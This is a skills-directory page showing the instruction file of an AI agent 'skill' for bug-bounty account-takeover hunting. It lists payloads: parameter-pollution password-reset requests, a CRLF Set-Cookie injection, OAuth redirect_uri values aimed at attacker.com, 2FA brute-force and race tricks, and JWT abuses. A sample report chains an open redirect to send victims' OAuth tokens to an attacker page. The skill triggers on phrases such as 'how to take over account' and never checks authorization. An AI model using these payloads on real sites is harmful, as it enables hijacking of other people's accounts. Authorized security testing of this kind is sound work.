本文へ移動
cccskills
無料GitHub で公開

ato-chains

Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.

インストール方法を見る

含まれるファイル(1)

  • SKILL.md9.7 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

ATO Chains

ATO = Critical = $$$$. Find the small bugs that chain into it.

When to invoke

Trigger phrases:

  • "account takeover"
  • "ATO chain"
  • "escalate this to ATO"
  • "how to take over account"
  • "password reset vuln"

The 9 ATO paths

Path 1: Password reset token leakage

  • Token in URL → leaked via Referer to 3rd-party (analytics, fonts)
  • Token in response → IDOR on reset endpoint reveals victim's token
  • Token guessable → low entropy
  • Token reusable → not invalidated after use
  • Token doesn't expire → forever valid
  • Reset link sent to user-controlled email field
    • POST /reset {"email":"victim@x.com","cc":"attacker@x.com"}

Path 2: Email change without confirmation

  • Change victim's email to attacker's via IDOR/CSRF
  • No confirmation to old email = silent ATO
  • Confirmation token reused / guessable

Path 3: OAuth redirect_uri / state abuse

  • redirect_uri accepts attacker domain → token sent there
  • redirect_uri partial match → target.com.attacker.com
  • state not validated → CSRF-style victim binds attacker's OAuth to victim's session

Path 4: Response manipulation (client-side ATO)

  • 2FA verify returns {"verified": true, "user_id": X} → swap user_id
  • Some clients trust response body for auth state
  • Burp → intercept → modify 200 OK to redirect into authenticated state

Path 5: Cookie hijacking

  • Cookie issued without Secure → MITM
  • Cookie without HttpOnly → XSS reads session
  • Cookie scope too wide → domain=.target.com from evil.target.com (subdomain takeover lets you read root cookies)
  • SameSite=None without Secure → CSRF-like

Path 6: JWT-based ATO

  • JWT alg=none accepted
  • JWT key confusion (RS256 → HS256 with public key)
  • JWT kid path traversal
  • JWT email claim mutable → server trusts → ATO See [[jwt-attacks]].

Path 7: Race condition

  • Sign up with victim's email at the same instant they confirm → win race
  • Password reset race: two reset requests at once → both tokens valid → attacker uses theirs

Path 8: CRLF / header injection in Set-Cookie

  • Sets session cookie with attacker's value
  • ?next=foo%0d%0aSet-Cookie:%20session=evil

Path 9: WebSocket / SSE auth ignored

  • WebSocket connects without auth → can act as any user
  • SSE stream tied to user ID in URL (IDOR)

Step-by-Step Workflow

1. Map auth-related endpoints

From your [[threat-modeling-mindmap]] output:

  • /login, /sso/*, /oauth/*
  • /register, /signup
  • /reset, /forgot-password, /reset-confirm
  • /2fa/*
  • /account/email, /profile/update-email
  • /logout
  • /api/auth/*, /api/me, /api/user/me
  • /oauth/authorize, /oauth/token
  • /callback, /oauth-callback

2. Test each auth flow systematically

Password reset flow

  1. Trigger reset for your own account: capture the email
  2. Note the token format: length, charset, predictability?
  3. Test reuse: use the token, then try again — should fail
  4. Test expiry: wait 24h, try the token — should fail
  5. Test parameter pollution: POST /reset {"email":"you@x.com","email":"victim@x.com"}
  6. Test array: POST /reset {"email":["you@x.com","victim@x.com"]}
  7. Test response: does the response leak the token or new password?
  8. Check for IDOR: GET /reset/token/by-user-id/12346
# Quick scripted reset token analysis
for i in {1..10}; do
    curl -s -X POST https://target.com/reset \
        -H "Content-Type: application/json" \
        -d '{"email":"you+'$i'@example.com"}'
    # Capture each token from email
done
# Are tokens sequential? Predictable? Short?

Email change flow

  1. Change your email to a new value
  2. Capture the request
  3. Add victim's user_id in body / path
  4. Send → if it goes through, ATO via email change
  5. No confirmation to old email = silent ATO

2FA flow

  1. Enable 2FA, then test:
    • Skip /2fa/verify, go to /dashboard directly
    • Replay /2fa/verify response (always 200) with bad code
    • Race-condition: 5 simultaneous requests with brute-forced codes
    • Brute force: is rate limit on attempts? (try 000000-999999)
    • Backup codes: are they predictable?

OAuth flow

See [[oauth-oidc]] for full coverage.

  • Capture /oauth/authorize?redirect_uri=... request
  • Try redirect_uri=https://attacker.com
  • Try redirect_uri=https://target.com.attacker.com
  • Try redirect_uri=https://target.com@attacker.com
  • Try redirect_uri=//attacker.com
  • Test state removal: does the callback still accept?

3. Look for chains across findings

When you find:

  • IDOR reading user email → can you reset their password (email-only reset)?
  • Open redirect → can you chain to OAuth callback for token theft?
  • XSS → can you read auth cookies → session hijack?
  • SSRF → can you reach internal admin endpoint to add yourself as admin?
  • Subdomain takeover → cookies scoped to .target.com → session theft

Build a chain table:

A1. IDOR /api/user/{id}/email      → leaks victim email
A2. POST /reset {"email":<victim>} → sends reset link
A3. Reset link goes to victim, BUT
A4. We're now able to spam unlimited reset requests
A5. Combined with cleartext email logs in S3 (bug #2) → token leaked
A6. Attacker uses token → ATO

OR:

B1. Open redirect at /redirect?url=<attacker>
B2. OAuth callback at /oauth/callback uses ?redirect_uri=
B3. We craft /oauth/authorize?redirect_uri=https://target.com/redirect?url=https://attacker.com
B4. Victim logs in via Google
B5. Token redirects to attacker.com
B6. Attacker uses token → ATO

4. Common chain combinations

ChainSevNotes
IDOR (email) + email-only-resetCriticalMost common ATO pattern
Open redirect + OAuth callbackCritical[[oauth-oidc]]
XSS + cookie not HttpOnly + cookie scoped wideCriticalClassic
Response manipulation (2FA bypass)CriticalLess common but ☠️
Subdomain takeover + cookie scope .target.comHighSteal session via XSS on takeover sub
JWT alg=none + email claim usedCritical[[jwt-attacks]]
CRLF in Set-Cookie + victim follows linkHighOK if Set-Cookie comes from input
Race condition on signupHighHijack pending account confirmation

Output template (for the report)

## Critical: Account Takeover via OAuth redirect_uri + open redirect chain

### Summary
By chaining an open redirect on /redirect?url= with a permissive OAuth redirect_uri validator, an attacker can hijack any user's account on app.target.com after the victim clicks an attacker-supplied link.

### Steps to reproduce
1. Attacker hosts a malicious page at `https://attacker.com/grab.html` that logs the token from URL fragment.
2. Attacker sends victim:

https://app.target.com/oauth/authorize? client_id=XYZ& response_type=token& redirect_uri=https://app.target.com/redirect?url=https://attacker.com/grab.html

3. Victim, logged in, sees a target.com URL → trusts → clicks
4. Target validates `redirect_uri` starts with `https://app.target.com` ✓
5. Issues OAuth token, redirects to `/redirect?url=...`
6. `/redirect?url=https://attacker.com/grab.html` returns 302
7. Browser follows → token reaches attacker.com via URL fragment
8. Attacker uses token: full session as victim

### Impact
- Full account takeover for any logged-in user who clicks the link
- No prerequisite credentials needed
- Token includes scope for full profile, billing, and project access

### Reproduction artifacts
- HAR file: attached
- Screencast: attached
- Test accounts: provided

### Suggested fix
1. Strictly whitelist `redirect_uri` to exact registered URIs (no subpath matching)
2. Remove or sanitize `/redirect?url=` to disallow off-domain redirects

Cross-references

  • [[idor-hunting]] — IDOR is the most common ATO precursor
  • [[xss]] — XSS + cookie access = ATO if cookie not HttpOnly
  • [[oauth-oidc]] — OAuth-specific chains
  • [[jwt-attacks]] — JWT-based ATO
  • [[business-logic]] — race conditions, workflow bypass
  • [[hackerone-reporting]] — ATO report template (impact framing matters)

Common pitfalls

  1. Reporting an "open redirect" without the chain. Most programs auto-reject. Chain it to OAuth.
  2. No reproduction with a real victim account. Sim with test accounts in different browsers/profiles.
  3. Missing the "user interaction" disclosure. Most ATOs require victim to click — note this in impact.
  4. Reporting reset-token-leak in URL via Referer without proof. Validate token actually leaks to a 3rd party.
  5. Confusing "session hijack" with "ATO". Session is temporary; ATO = persistent control (password reset).

ATO severity matrix

TypeSeverityTypical bounty
Self-only "ATO" (no real impact)N/A$0
Targeted ATO requiring complex social engineeringHigh$1k-3k
Targeted ATO via 1-click linkCritical$5k-15k
Mass ATO (no user interaction, no targeting)Critical$10k-50k
Persistent ATO via password reset abuseCritical$5k-25k
ATO of admin / privileged userCritical (escalate severity)$10k-50k

Pro tip — write the chain BEFORE proving it

When you find a finding, ask: "what's the worst this gets to?" Often you can chain on paper before testing.

E.g., "IDOR on /reset/token-lookup → if real, that's email-based ATO → critical." Now you know the upside before spending time on PoC.

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt cloud misconfigurations exposed externally — open S3/GCS buckets, exposed IAM-tied EC2 metadata, Cognito misconfig, GitHub Actions secret leakage, exposed Kubernetes API, public Elastic / Kibana / Mongo, Firebase RTDB rules, weak AWS access keys discovered in JS/mobile. Use when leveraging leaked credentials or hunting cloud surface in scope.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

0xGhostCAT のスキルをすべて見る

このスキルの問題を報告する